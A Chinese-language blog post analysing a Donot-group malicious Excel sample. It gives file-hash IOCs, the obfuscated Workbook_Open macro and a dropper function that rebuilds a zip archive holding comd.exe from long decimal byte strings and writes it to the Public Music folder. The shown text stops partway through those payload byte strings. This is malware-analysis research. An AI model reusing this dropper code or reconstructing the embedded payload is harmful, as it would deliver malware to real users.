记一次 Donot 样本分析

分享一个比较新的 Donot 组织的样本分析过程

记一次 Donot 样本分析

前言

拿到该样本的时候还是比较新的,这是一个附带恶意宏的 xls。在第一个发现该样本的人上传到 VT 的三天后我就开始入手了,可惜 C2 域名还是失效了,没法获取下一阶段的样本,有点遗憾。

1669360837828_778630F5-55C6-4d86-B75C-4B373555D6C2.png

总体运行流程:

image.png

IOC:

文件名MD5
xls93befa3da4e0d10ee61f0b78c18d4cd
Comd.zipbc70155ae15384745ed54c75e64a742c
pbs.txt|pbs.bat09c4c9515e23983c547900f8485b42aa
_.vbs60b24b37aa7903b56417dd58bbebe79d
comd.pdf | comd.exe06e0d216969caa0dfd98269a860b153b

样本分析:

恶意宏文档:

首先打开 xls 文档,一打开便弹出了系统宏警告,但是由于 VBA 宏代码加了密,所以我们没法直接在文档中对 VBA 进行调试。
image.png

image.png

但是通过沙箱或工具我们都可以把宏代码提取出来分析,详细分析过程在后面。

image.png

在对每个宏代码中的函数功能分析过后,我们可以通过选择执行想要执行的 VBA 函数。在一些执行后会自我清除痕迹的恶意宏代码中,这样的点击式方法可以截取未被清理的行为操作,用于保留截图或证据使用。

image.png

VBA宏分析:

下面 VBA 宏代码的变量都是混淆过或随机生成的,没有任何实质性的意义。

Workbook_Open 函数分析:

该宏函数采用拼接路径的方法躲避静态查杀 ,旨在确认 C:\Users\Public\Music\comd.zip 是否已被创建,如果不是则调用 gkhaL6Ujf7T8TwThtCGkfindUi 进行下一步操作,如果是则弹框显示说明性文字。

Sub Workbook_Open()
Dim bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC As String
Dim KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv As String

    bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC = "C:\Users\" + "Publi" + "c\Musi" + "c\co" + "md.zip"
    KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv = Dir(bJeKNBThzjfhMnMDvxNzGbRTHYhCxnrjdAuxamFvwRqXjC, vbDirectory)

    If KQNjfUBrNzrnrChNhSSVJKEWTnyZqAfCeBAnGpbaUewuyv = "" Then
        Call gkhaL6Ujf7T8TwThtCGkfindUi
    Else
        MsgBox "Excel cannot complete this task with availiable resources.Choose less data or close other applications."

    End If
End Sub

image.png

gkhaL6Ujf7T8TwThtCGkfindUi 函数分析:

恶意代码作者把一整个 zip 文件的字节码拆分成多个长串的 10 进制形式写入到变量中,每个字节以 连接,下面长串变量中的 80 75 ** 3 都是 zip 格式文件的字节码形式,只不过是 10 进制形式。

该函数通过把这些 10 进制形式的字节码连接起来并以 ** 作为分隔符,得到一个包含整个 zip 文件字节码的大数组,最后通过循环把字节码写入一个创建的文件中。被指定的文件路径是拼接的,为 C:\Users\Public\Music\comd.zip。

image.png

image.png

Sub gkhaL6Ujf7T8TwThtCGkfindUi()
UmXbqkZjQEf3zX2dNgkhaL6Ujf7T8TwThtCGkfindUi35rqBiC = "C:\U" + "sers\" + "Publ" + "ic\M" + "usic\" + "comd.zip"
Dim lgbtqpKM39, lgbt5gwIdE, lgbtchFy25, lgbt7nkEqi, lgbt3n5kSb, lgbtmGiAAY, lgbtjWKMbr, lgbt2uyJ9e, lgbt9yb7p1, lgbtvN4jB1, lgbtEPaxGR, lgbtq1K5PE, lgbtildg1X, lgbtZkhmJB, lgbta2gYZb, lgbte5KLMf, lgbtzJKofS, lgbtr4gygt, lgbtZWyVDY, lgbtkNnoUJ, lgbtqfKOYg, lgbtCtokOf, lgbttYaFEA, lgbtZ63Qyb, lgbtYCGqMG, lgbtZGNM0X, lgbtSBr7aI, lgbtJmWMfx, lgbt4K5b4H, lgbtiPwpPN, lgbtWdtpAA, lgbtzHbSL8 As String

lgbtqpKM39 = (" 80**75**3**4**20**0**0**0**8**0**188**24**110**85**249**118**118**174**75**26**0**0**216**89**0**0**8**0**0**0**99**111**109**100**46**112**100**102**236**91**15**120**83**85**150**191**121**77**33**180**33**137**82**164**106**145**160**1**170**98**109**87**220**65**7**102**3**109**1**181**96**105**249**167**20**218**144**188**180**129**52**13**201**75**129**25**198**41**155**22**205**198**106**71**153**221**249**230**83**151**42**174**142**127**199**17**21**148**209**218**214**22**29**29**89**134**245**115**133**25**217**85**119**131**237**206**199**168**195**34**84**222**254**206**125**247**165**105**41**214**253**102**157**162**203**229**59**57**247**158**123**206**185**191**123**238**121**247**222**151**148**133**183**182**176**52**198**152**17**164**170**140**237**98**90**113**178**225**75**3**200**50**233**69**11**219**57**230**173**201**187**12**37**111**77**94**82**227**11**219**131**161**186**234**144**171**214**238**118**5**2**117**138**125**141**108**15**69**2**118**95**192")

lgbt5gwIdE = ("**94**116**115**185**189**182**206**35**231**141**29**155**225**16**62**74**139**25**43**49**140**65**45**61**233**247**48**179**166**101**26**164**108**118**1**26**101**32**137**177**237**231**131**219**64**249**164**225**212**234**146**134**219**192**52**206**203**62**173**241**192**43**188**27**197**174**233**210**135**77**83**177**177**148**18**196**156**105**232**237**140**229**92**158**34**95**198**216**187**105**108**216**98**108**97**44**123**8**185**115**61**99**123**135**144**235**37**79**145**55**42**224**51**178**152**6**136**230**154**156**132**86**170**88**105**85**158**199**165**184**80**39**53**62**119**154**212**69**3**245**156**44**191**45**47**164**41**122**12**76**91**60**210**203**57**77**207**153**39**215**84**122**177**58**219**105**110**165**76**27**243**146**33**244**214**132**195**84**175**74**126**156**94**26**104**92**159**54**46**143**97**16**52**10**116**233**64**61**142**175**176**108**9**213**179**53**67**13**95**238**16**122**138**159**143**107**167**14")

lgbtchFy25 = ("3**22**161**119**197**16**122**161**112**200**205**196**154**109**23**58**211**79**215**99**231**202**151**150**242**104**239**204**86**143**211**201**154**218**148**156**238**34**135**137**132**224**70**138**123**183**145**63**166**234**190**104**175**25**117**219**121**78**150**40**207**96**44**218**107**76**220**155**201**88**34**96**102**172**185**200**49**61**86**228**176**181**26**243**157**220**146**85**57**201**210**88**197**155**124**77**208**111**134**94**46**184**41**113**11**30**229**214**236**42**62**228**220**248**196**182**245**78**246**144**9**182**232**52**198**11**109**49**163**35**241**61**93**69**147**229**147**236**138**129**178**82**146**93**0**89**226**66**124**196**199**115**15**182**68**197**88**192**251**240**104**98**167**21**61**163**169**135**244**77**173**76**24**182**18**44**50**125**8**125**177**142**68**239**121**96**57**142**68**35**182**160**102**101**42**197**35**55**94**228**200**143**195**112**246**143**25**107**219**48**123**118**51**88**104**225*")

lgbt7nkEqi = ("*75**6**17**25**166**69**134**34**149**120**14**230**209**227**6**107**227**103**104**53**181**89**155**182**131**23**180**69**59**115**87**182**27**89**115**61**155**189**13**198**202**77**179**255**158**216**132**217**247**130**69**222**239**121**118**118**58**181**231**206**158**72**237**183**83**188**18**79**84**106**94**21**31**34**244**75**33**84**247**237**82**81**122**118**20**28**60**82**143**74**243**206**169**250**82**9**211**76**50**117**8**211**27**1**166**49**12**61**209**33**204**143**172**209**68**166**20**209**205**36**130**27**67**10**130**223**217**224**102**175**122**228**154**129**125**124**136**87**69**223**4**244**181**164**116**242**128**236**64**103**211**65**238**216**218**248**167**83**170**138**160**231**36**230**33**105**16**213**156**35**31**64**210**252**60**1**110**222**51**141**88**180**55**7**166**228**65**29**191**11**153**144**88**247**5**52**176**16**3**250**165**254**254**155**6**246**183**238**131**80**61**28**59**166**183**59**121**187**69**47**7")

lgbt3n5kSb = ("5**99**31**69**123**179**91**109**249**60**221**174**167**140**70**178**39**238**31**205**179**184**169**237**69**50**82**198**211**52**44**78**45**51**98**188**207**20**107**111**218**175**140**161**180**135**173**186**31**21**231**56**88**198**49**179**215**59**146**227**193**255**170**142**150**254**130**89**26**155**23**120**122**178**196**250**68**63**150**162**109**134**59**74**213**235**246**42**163**173**207**219**26**247**71**122**63**237**64**98**232**246**203**151**149**111**233**45**49**242**149**180**145**4**220**44**120**242**97**20**17**118**56**249**35**53**131**154**137**123**70**17**204**172**88**59**34**156**27**111**116**84**193**71**44**203**129**254**28**97**150**45**120**86**26**27**218**61**165**52**61**20**137**69**220**151**61**246**42**90**211**225**203**67**190**204**131**124**53**112**95**37**26**134**1**190**232**9**35**152**139**181**190**153**172**96**187**49**33**9**159**93**120**240**103**146**102**186**152**204**36**178**152**225**224**123**193**71**2")

lgbtmGiAAY = ("33**164**100**251**178**185**51**77**61**209**206**85**179**128**174**198**56**112**122**13**98**122**210**153**61**56**105**97**119**113**15**57**209**227**72**205**103**32**140**47**113**204**136**117**55**251**29**51**154**43**28**78**172**118**137**183**37**230**119**152**185**45**69**160**194**97**164**145**75**53**144**152**199**44**29**40**239**154**69**115**48**99**197**103**240**185**184**4**64**180**155**218**34**207**147**229**37**92**100**140**211**22**9**0**214**100**51**151**154**76**107**194**79**226**42**173**138**53**222**123**192**192**18**83**181**102**34**128**149**219**210**73**217**177**114**117**229**170**14**177**31**39**230**99**147**19**249**165**229**207**30**154**205**125**142**125**98**194**75**41**147**177**169**77**27**75**155**82**172**203**218**248**31**146**22**18**41**53**168**128**48**118**172**22**92**226**241**241**56**247**89**244**4**118**179**106**36**70**244**132**164**140**163**190**207**205**4**130**134**224**32**162**199**101**235**221**47**")

lgbtjWKMbr = ("73**244**4**59**40**242**5**109**187**51**53**175**46**79**96**189**15**92**142**228**7**214**129**251**60**138**91**1**175**253**193**134**122**106**175**15**172**227**60**34**250**55**109**172**230**118**63**228**11**213**232**120**156**105**229**211**199**155**55**59**92**205**119**58**94**35**148**199**123**198**14**245**16**97**217**198**193**118**92**65**80**113**131**79**136**248**107**215**130**95**172**160**2**62**201**171**172**173**109**46**113**108**64**253**50**111**13**151**77**43**42**168**13**196**18**168**93**169**248**221**126**240**171**3**10**239**185**38**160**212**6**192**191**227**119**115**254**93**136**137**255**141**59**194**121**97**141**54**195**249**34**165**110**18**252**102**226**93**69**142**114**214**51**78**219**214**250**161**190**154**132**74**65**220**153**201**147**198**132**252**226**11**110**236**195**206**251**0**118**195**217**119**87**26**152**245**238**101**136**56**102**157**79**211**66**68**205**154**255**113**34**162**19**68**196**46**22**")

lgbt2uyJ9e = ("17**157**36**34**122**153**136**232**52**209**127**165**136**232**213**2**223**42**45**156**177**4**69**162**199**134**109**103**40**124**88**200**22**109**33**77**98**33**11**54**42**20**76**185**214**91**75**97**242**41**110**30**166**218**136**22**174**245**8**139**23**60**178**62**88**189**20**124**83**129**226**33**189**31**174**85**160**223**232**216**2**55**238**181**17**5**213**38**84**253**213**176**106**116**196**72**170**173**116**179**88**105**84**159**56**195**162**15**19**79**79**134**136**231**102**196**115**58**226**123**2**241**92**244**5**63**220**208**133**115**2**159**71**38**147**32**157**210**154**18**63**65**59**207**145**203**53**37**114**158**56**53**38**249**32**137**253**120**57**46**0**158**86**254**32**208**177**254**143**4**225**184**164**152**162**157**158**149**149**29**222**22**128**156**133**64**141**209**2**149**85**60**107**245**106**240**236**229**145**106**5**155**200**70**204**162**196**145**5**73**78**100**245**234**50**112**251**6**15**95**25**1")

lgbt9yb7p1 = ("35**172**181**115**215**201**245**148**147**211**149**234**8**89**230**175**14**121**34**177**189**168**205**200**247**184**235**187**105**247**68**25**226**252**120**183**127**254**102**45**127**52**76**64**52**19**136**50**190**6**68**28**201**216**84**8**141**41**16**182**156**68**200**55**210**37**32**165**168**83**252**56**128**137**7**5**87**4**223**40**248**102**193**27**4**111**20**220**41**120**145**224**11**4**47**17**188**84**240**37**130**175**16**188**66**240**42**193**61**156**123**197**63**236**247**216**110**29**56**251**199**71**143**167**41**182**93**116**118**70**59**115**218**205**172**133**174**17**56**3**114**249**133**18**129**137**45**65**62**97**83**204**198**5**32**69**111**192**125**101**25**242**35**43**58**59**23**183**72**137**28**43**25**221**233**188**33**18**229**124**186**124**205**141**118**102**113**7**43**87**195**254**229**172**6**39**219**242**7**250**124**245**148**212**116**236**182**127**43**56**24**55**222**79**109**192**146**112**187**238**48")

lgbtvN4jB1 = ("**92**247**105**164**119**128**17**157**17**221**226**228**167**211**133**227**3**182**205**56**85**123**182**247**223**31**10**218**82**111**31**45**45**247**221**183**34**214**126**45**189**63**149**222**127**223**138**251**11**246**253**156**234**214**198**135**161**91**94**208**102**125**144**238**133**255**192**196**4**173**15**30**235**50**40**163**163**99**115**48**5**195**177**174**6**189**46**253**119**59**29**248**122**211**72**77**150**212**52**241**166**164**55**109**91**254**29**77**163**222**180**31**123**53**169**233**108**248**200**30**201**163**47**21**26**172**15**206**38**86**63**145**70**70**171**105**255**198**75**185**161**83**201**216**194**149**41**136**43**63**237**208**26**13**148**123**93**45**162**7**38**61**251**105**126**7**63**24**56**95**126**95**231**239**16**56**158**103**32**98**166**9**218**131**192**35**23**237**112**98**147**160**119**151**26**39**191**255**231**36**190**59**74**187**138**226**124**20**113**205**231**87**160**43**33**79**228**141**")

lgbtEPaxGR = ("26**188**31**68**123**43**224**161**36**214**1**247**116**31**50**229**104**11**98**36**123**197**81**26**123**7**59**208**146**216**219**216**215**87**36**172**252**202**99**166**16**211**189**18**190**103**70**143**27**35**87**66**197**4**101**178**73**252**22**71**123**28**30**227**48**142**195**52**14**195**104**103**69**135**254**188**31**119**42**251**8**20**14**2**187**126**25**113**138**49**41**225**40**9**158**214**46**36**228**63**197**53**76**173**63**41**114**92**130**33**137**79**74**212**64**173**97**179**99**18**83**238**2**187**132**41**183**243**44**130**211**212**153**235**78**111**213**156**30**169**196**19**77**59**43**197**144**38**139**224**53**32**120**137**123**112**88**121**91**90**237**85**60**109**71**119**104**143**197**46**207**28**39**187**138**62**162**199**71**119**167**83**47**5**254**182**195**209**222**233**209**227**153**112**100**7**60**7**96**230**90**239**122**159**130**114**45**41**55**29**179**54**209**209**16**159**88**67**173**131**145**31**19")

lgbtq1K5PE = ("6**199**250**81**123**41**72**205**215**173**141**187**209**249**18**105**198**11**77**180**19**55**205**167**43**73**135**121**203**73**18**90**163**81**202**222**231**203**77**241**176**49**158**25**61**97**107**222**74**239**251**241**221**244**105**109**188**139**34**121**194**110**109**60**202**43**38**107**227**78**10**225**18**7**221**176**18**78**103**242**250**152**216**131**211**128**143**163**57**14**231**197**203**141**187**233**122**212**252**183**220**225**61**244**153**54**46**218**97**130**117**78**51**40**113**4**38**154**118**104**63**86**210**142**149**116**96**37**115**163**157**211**59**90**52**204**227**154**246**71**158**138**23**26**41**19**190**75**111**109**173**214**23**158**39**79**94**76**252**133**119**54**141**218**242**6**125**221**118**249**27**187**105**223**216**242**49**117**25**78**96**132**108**140**144**157**184**29**35**28**177**170**20**111**190**223**90**159**255**4**38**191**97**180**50**159**104**218**48**165**56**167**24**149**145**209**123*")

lgbtildg1X = ("*88**164**45**175**114**133**183**249**52**210**102**82**39**194**159**157**40**32**133**221**218**43**25**197**97**39**173**234**158**190**129**251**119**171**57**31**248**105**133**39**33**147**189**45**234**62**46**105**46**53**198**157**198**216**120**170**227**114**123**36**218**105**198**91**140**246**190**156**29**159**104**119**96**253**79**170**138**163**233**160**98**85**179**238**231**237**30**3**182**169**200**31**233**13**202**142**145**202**62**161**19**43**123**101**71**193**193**30**9**207**83**161**33**158**213**68**138**136**213**209**158**46**145**255**241**177**14**74**176**215**149**81**154**255**238**116**135**72**169**158**109**132**143**239**191**112**153**15**105**226**105**137**50**104**1**170**244**46**119**80**185**202**219**18**79**163**92**126**64**210**110**214**93**137**222**207**85**21**128**205**77**199**20**19**22**4**87**7**117**95**124**165**9**25**247**47**186**151**77**154**50**182**223**149**171**59**112**94**180**78**135**20**73**155**93**112**1")

lgbtZkhmJB = ("2**233**155**5**107**75**236**40**22**58**11**11**157**141**35**161**131**158**12**179**246**100**240**55**49**186**85**227**154**221**161**204**167**231**75**184**141**165**241**7**171**208**152**24**131**238**86**2**25**227**80**99**72**104**126**211**231**131**247**209**43**216**81**122**41**72**25**224**101**254**166**255**119**122**124**57**32**202**52**64**25**141**16**22**180**173**236**208**237**159**48**208**197**93**15**193**126**229**146**184**116**221**187**145**243**122**110**210**227**105**186**238**95**149**73**177**246**248**92**19**172**255**168**155**53**25**196**156**185**179**248**2**83**236**70**126**244**21**27**248**180**184**142**75**211**233**121**15**182**15**113**228**251**122**14**138**243**148**78**185**162**208**249**116**164**174**210**143**74**190**94**28**43**70**170**225**21**168**69**14**11**127**221**233**36**225**15**157**85**120**126**13**251**137**166**175**76**211**186**201**213**80**254**148**159**37**36**100**110**207**189**58**184**3**76**115*")

lgbta2gYZb = ("*177**55**241**49**210**186**231**199**122**254**170**83**158**16**247**128**189**130**239**20**252**23**130**239**17**188**79**240**119**5**63**44**120**66**240**94**193**15**9**126**92**240**163**130**179**144**198**223**20**237**207**4**63**32**248**135**130**239**16**124**187**224**45**130**223**39**248**79**5**191**83**240**109**235**83**239**47**184**188**25**163**31**30**85**215**247**45**141**125**180**24**185**159**120**175**143**223**95**249**123**226**169**99**120**166**144**76**120**13**93**238**116**158**246**218**172**95**115**223**231**106**54**206**103**191**0**137**146**158**24**247**39**85**141**47**236**43**104**123**189**217**213**215**127**166**210**247**25**71**186**255**144**220**20**40**19**109**14**109**221**168**206**206**149**111**85**161**103**141**175**171**147**177**124**177**206**231**202**255**159**226**247**173**169**118**175**189**170**224**175**243**60**126**63**171**188**177**190**178**76**174**246**133**21**57**84**232**119**133**195**114**24**58**5")

lgbte5KLMf = ("5**4**124**138**207**229**247**125**95**46**12**161**230**118**249**203**101**183**226**171**11**204**9**120**202**131**190**64**97**93**36**160**228**23**176**43**174**190**130**177**249**197**75**88**136**5**124**190**186**96**221**186**181**30**239**58**228**213**197**78**182**208**23**168**222**64**63**4**42**190**90**217**238**117**249**252**145**144**124**125**6**179**219**151**249**66**74**196**229**95**28**145**67**155**120**135**236**177**123**235**66**246**41**30**251**154**77**138**28**182**187**20**187**203**227**9**201**225**176**125**74**144**48**219**237**75**3**235**2**117**27**2**246**96**88**142**120**234**236**33**217**95**231**118**17**34**250**241**81**169**115**215**249**237**245**114**40**76**130**41**158**188**140**97**108**214**248**20**123**24**179**211**117**231**23**22**94**111**207**85**60**181**87**21**92**110**191**54**175**32**47**255**207**147**157**205**37**75**112**195**247**203**152**97**179**201**112**177**217**104**188**195**160**253**52**71**183**")

lgbtzJKofS = ("255**195**175**168**170**153**54**137**57**22**83**84**42**180**56**215**88**102**224**179**196**50**11**159**210**1**203**44**166**253**86**183**0**212**217**166**170**238**20**221**124**169**56**195**98**154**211**97**49**206**203**180**65**236**7**217**218**85**117**60**13**88**104**177**147**172**129**198**25**36**219**6**202**133**108**180**192**70**178**71**65**142**20**217**153**112**19**102**34**211**27**170**90**40**124**46**205**176**24**23**100**86**89**232**76**164**111**87**8**243**76**244**111**165**126**96**221**42**205**177**152**163**105**208**244**100**88**204**243**58**128**185**203**98**44**204**92**55**160**165**225**216**8**186**19**182**105**95**17**71**16**186**135**72**97**21**197**68**218**129**96**204**165**218**153**236**108**194**46**251**215**195**143**145**45**116**251**48**70**25**41**232**113**103**98**142**32**39**252**88**104**77**10**45**85**69**209**244**91**182**26**231**221**158**54**175**73**42**182**44**129**68**201**120**173**187**171**131**162")

lgbtr4gygt = ("**227**179**148**162**45**149**113**6**117**186**56**208**92**109**111**170**234**1**178**247**91**242**111**142**26**183**166**221**46**73**31**100**112**163**185**153**95**130**45**75**96**251**197**91**170**202**127**2**92**100**177**85**96**5**236**168**210**247**74**123**33**191**33**5**179**189**86**164**202**156**76**30**131**21**160**207**160**147**35**252**159**105**156**153**98**156**4**116**171**132**191**254**245**44**177**228**220**96**177**151**90**114**80**95**203**63**11**45**230**57**98**73**57**14**26**199**252**27**85**189**147**108**209**127**195**86**105**94**52**109**113**70**23**135**18**182**228**44**230**94**138**45**246**155**50**58**186**56**60**30**219**22**144**7**118**45**169**115**40**197**28**10**185**161**54**112**64**27**50**41**189**149**183**249**179**181**15**180**19**246**63**21**227**174**64**142**22**99**21**72**161**146**215**43**52**229**175**185**108**12**246**215**77**33**198**255**110**97**71**138**236**40**100**126**200**58**83**100**69**17")

lgbtZWyVDY = ("**60**3**144**125**152**34**123**2**178**39**214**179**175**92**178**225**119**22**168**20**84**3**106**0**109**3**61**10**218**3**218**11**58**20**210**116**251**192**179**112**16**77**7**21**129**170**64**27**65**45**97**173**255**49**240**118**208**123**160**99**32**139**130**156**80**232**111**44**180**254**239**129**47**2**173**6**249**65**183**129**238**0**181**128**126**6**250**39**208**83**160**93**160**118**208**27**160**3**160**67**160**15**65**189**160**207**64**167**64**38**204**243**124**80**78**228**219**53**143**155**138**203**22**21**151**92**243**87**252**26**128**34**167**151**203**202**210**64**141**43**224**193**129**92**188**209**45**7**233**172**156**231**243**227**106**160**153**176**10**67**241**70**159**82**26**170**115**203**97**49**5**182**94**154**47**43**11**235**60**17**191**188**128**219**206**17**115**35**57**169**206**209**142**114**161**206**218**89**97**72**118**41**50**28**235**170**44**99**212**114**220**51**184**72**87**99**91**89**161**191**46**44")

lgbtkNnoUJ = ("**124**10**89**36**189**220**47**203**65**94**127**73**248**41**174**151**3**138**112**180**138**198**44**113**133**149**226**80**168**78**128**94**126**195**162**27**22**21**47**225**211**124**13**55**27**204**38**32**43**55**7**229**128**62**58**98**153**148**23**214**5**2**184**234**136**174**13**108**129**162**4**73**183**76**94**31**145**195**186**252**96**82**191**156**92**241**155**145**238**235**54**110**83**46**7**60**3**109**222**74**218**148**201**46**79**255**84**183**245**143**61**104**190**111**179**34**217**47**43**131**239**96**172**151**21**147**197**96**49**251**189**116**198**123**27**203**75**43**145**93**245**167**137**217**79**140**75**252**97**4**109**153**203**31**145**217**175**140**226**110**134**117**83**160**194**216**43**198**212**219**26**99**223**97**149**149**213**178**82**235**242**5**92**161**234**48**91**136**118**176**178**82**14**212**251**66**228**239**102**173**237**165**191**250**162**31**127**42**43**195**178**82**233**10**6**43**149**77**65**72")

lgbtqfKOYg = ("**238**101**149**110**25**57**132**53**55**84**250**234**214**48**246**35**67**101**93**128**139**30**51**144**178**102**57**95**114**173**169**11**41**108**145**132**37**230**250**229**18**112**227**6**135**44**148**52**73**165**228**117**83**200**24**91**43**121**235**176**72**200**69**111**72**70**59**34**121**195**178**188**142**109**144**188**138**140**117**223**36**121**55**80**130**81**86**214**202**181**238**32**102**242**172**20**140**40**238**26**87**136**181**75**97**95**117**192**133**167**160**87**170**247**6**67**190**128**226**197**125**36**120**102**26**252**236**204**10**126**61**84**27**174**119**135**20**125**148**255**187**66**247**243**195**23**57**135**83**59**87**190**165**197**208**226**100**57**160**172**42**39**51**54**56**135**83**63**87**190**181**37**141**255**45**48**238**167**13**22**198**239**198**13**54**240**59**180**215**180**148**98**224**223**27**57**135**144**143**49**226**222**51**80**168**125**169**11**221**224**25**244**223**100**131**139**230**")

lgbtCtokOf = ("127**251**25**244**15**241**218**28**214**11**133**71**167**244**247**110**235**234**127**79**160**242**40**218**138**212**223**166**123**119**62**211**254**156**213**192**223**68**206**149**115**229**107**43**217**223**80**98**130**211**43**241**35**223**48**186**27**148**253**208**226**105**234**217**76**247**44**184**76**125**176**244**116**185**152**67**246**131**139**167**254**110**71**217**84**149**232**225**178**105**170**94**79**165**225**198**248**75**211**142**178**126**252**15**3**223**169**190**255**84**143**171**106**146**62**79**169**235**244**95**160**163**130**62**31**1**250**76**213**112**16**214**135**203**167**38**241**63**82**62**229**52**236**131**233**203**250**70**130**30**41**119**36**241**63**186**212**49**172**254**217**70**143**46**189**44**137**255**177**101**151**170**39**82**250**78**12**226**103**27**81**30**60**14**204**58**254**39**150**79**230**88**117**26**206**254**108**160**39**87**216**147**248**159**186**101**146**122**82**29**136**95**175**159**2")

lgbttYaFEA = ("0**116**54**205**141**112**60**157**130**255**153**91**47**73**226**60**41**116**6**183**207**38**34**252**207**220**58**49**137**255**217**138**137**103**53**222**193**68**24**159**93**153**147**196**255**220**170**139**212**62**33**239**251**10**246**35**77**132**243**185**85**23**39**241**239**90**125**161**250**133**170**97**255**226**43**216**143**52**17**254**93**149**23**38**241**239**174**202**230**184**117**26**206**126**164**137**48**190**8**204**58**254**61**174**11**146**216**79**125**5**251**145**38**194**73**152**207**225**31**25**58**135**127**100**233**28**254**145**165**193**248**95**118**143**231**184**191**9**251**191**30**99**194**172**227**111**243**100**169**122**57**219**227**127**74**16**97**214**241**119**86**219**212**212**162**235**166**214**207**6**74**45**157**213**231**157**195**255**23**166**212**146**130**255**194**174**26**107**82**62**156**143**145**164**212**210**229**179**170**105**105**105**63**7**254**137**123**125**99**7**244**13**231**103**164**4")

lgbtZ63Qyb = ("0**181**188**238**179**168**102**179**153**254**55**226**228**95**175**59**187**240**171**95**82**215**11**97**30**63**126**252**83**192**127**233**91**254**140**1**125**131**117**135**27**239**127**67**127**174**79**189**16**230**9**19**38**112**252**111**7**198**168**169**101**56**31**35**73**122**33**204**58**254**253**117**38**53**181**12**231**99**36**104**112**249**231**160**41**137**255**64**112**212**16**26**103**119**249**237**250**209**58**254**201**239**132**210**213**223**31**234**254**70**209**59**27**44**244**252**62**73**251**231**110**119**154**250**203**74**73**125**114**149**65**125**124**165**164**62**86**97**80**31**227**92**39**209**94**105**208**234**186**76**239**79**246**165**182**207**68**134**20**26**162**93**33**165**244**73**3**250**30**175**32**140**146**250**220**154**116**181**83**185**144**246**207**199**232**252**218**35**75**234**175**188**76**221**35**27**212**221**238**255**105**231**74**131**154**186**162**240**125**75**66**194**38**22**196**10**46*")

lgbtYCGqMG = ("*84**70**180**184**189**4**6**35**2**162**2**22**161**150**86**80**107**21**217**151**20**67**8**97**167**3**9**14**69**17**117**112**173**168**128**69**169**214**186**32**84**233**184**84**166**34**162**83**151**97**183**160**163**224**176**4**40**51**181**192**140**211**219**243**94**88**34**133**250**187**83**78**230**123**231**158**115**207**57**247**220**115**111**146**247**227**190**7**8**98**57**2**142**240**53**144**175**177**50**219**30**225**172**94**43**107**117**4**103**199**249**232**232**199**67**249**48**31**182**101**227**15**141**85**17**109**138**235**246**186**226**235**17**66**206**174**42**105**46**190**255**213**124**206**190**40**244**67**28**35**205**198**185**145**62**184**66**105**137**43**149**239**179**255**95**223**177**247**15**21**82**2**87**203**40**92**163**32**112**67**44**137**27**149**128**56**2**56**200**113**208**78**208**3**25**120**60**31**55**37**25**224**166**20**99**220**148**172**229**141**201**134**184**41**81**31**55**196**211**96**167**69*")

lgbtZGNM0X = ("*67**28**53**33**216**216**13**108**252**120**22**160**3**52**38**240**160**77**227**206**60**119**60**112**61**21**55**171**45**184**113**186**139**252**240**224**77**21**248**209**56**69**113**0**123**200**95**226**224**152**50**92**165**182**195**15**18**184**251**255**195**108**254**213**209**20**126**156**100**138**95**22**108**192**157**103**253**113**119**190**59**238**201**119**195**61**133**158**184**231**148**39**215**238**62**230**136**123**78**174**198**189**32**107**142**56**0**236**176**230**168**4**119**159**88**137**123**78**184**98**205**113**103**220**125**220**101**8**206**19**66**243**141**4**119**29**88**132**53**135**25**220**125**136**129**246**98**192**18**220**185**127**1**238**218**63**31**119**229**66**31**232**53**160**215**28**4**126**88**132**187**143**46**131**241**37**184**122**143**15**126**150**189**8**63**221**35**194**143**98**40**54**255**117**0**189**230**4**36**122**18**131**112**109**188**30**110**128**122**214**39**10**113**125**60**15**215**197")

lgbtSBr7aI = ("**162**241**1**235**82**7**53**100**81**15**181**249**7**18**4**255**142**33**187**58**88**15**46**214**68**227**140**25**179**33**129**143**27**97**173**217**220**74**2**208**38**54**119**52**73**147**52**73**255**105**210**222**81**252**147**167**179**157**196**59**156**39**105**124**34**38**174**235**88**174**61**255**197**4**104**79**105**177**39**188**8**164**36**237**17**251**82**198**13**104**59**92**221**209**103**208**242**68**159**160**245**32**123**194**213**3**218**44**221**160**123**255**26**62**63**70**33**114**132**143**73**229**45**98**159**111**33**32**158**18**41**80**36**146**161**112**136**22**137**162**80**40**68**150**161**48**20**13**54**151**56**27**6**217**3**150**115**220**157**123**126**100**9**252**228**19**104**13**216**236**64**114**20**8**246**73**144**77**32**72**218**83**219**17**92**196**104**20**11**209**89**98**144**0**236**135**227**111**4**40**160**47**18**44**100**67**253**139**144**8**32**6**216**129**236**129**166**232**216**187**1**98**81**48**")

lgbtJmWMfx = ("151**167**28**34**142**250**173**134**118**50**39**89**129**69**18**103**21**205**101**31**206**245**187**34**19**136**195**206**71**201**141**41**131**28**163**116**50**157**216**63**146**139**224**129**166**130**191**55**216**134**115**158**236**140**229**96**167**224**250**35**184**217**13**235**172**116**180**86**58**145**89**18**35**33**196**241**1**139**104**20**130**226**96**20**229**91**245**74**130**246**151**0**37**244**177**243**99**201**158**171**217**219**62**99**43**55**182**110**110**136**93**175**141**16**73**49**206**106**178**207**55**209**112**101**31**85**100**215**44**22**250**3**223**170**167**144**110**165**209**255**128**184**119**156**146**36**98**212**84**21**95**104**155**249**81**102**191**17**161**71**22**168**169**114**80**149**145**4**33**50**96**132**124**222**66**99**138**180**224**33**198**155**175**191**144**79**208**132**122**25**73**208**5**46**140**19**51**93**71**51**133**17**82**4**42**160**79**145**233**136**249**64**199**143**54**11**57**48**11")

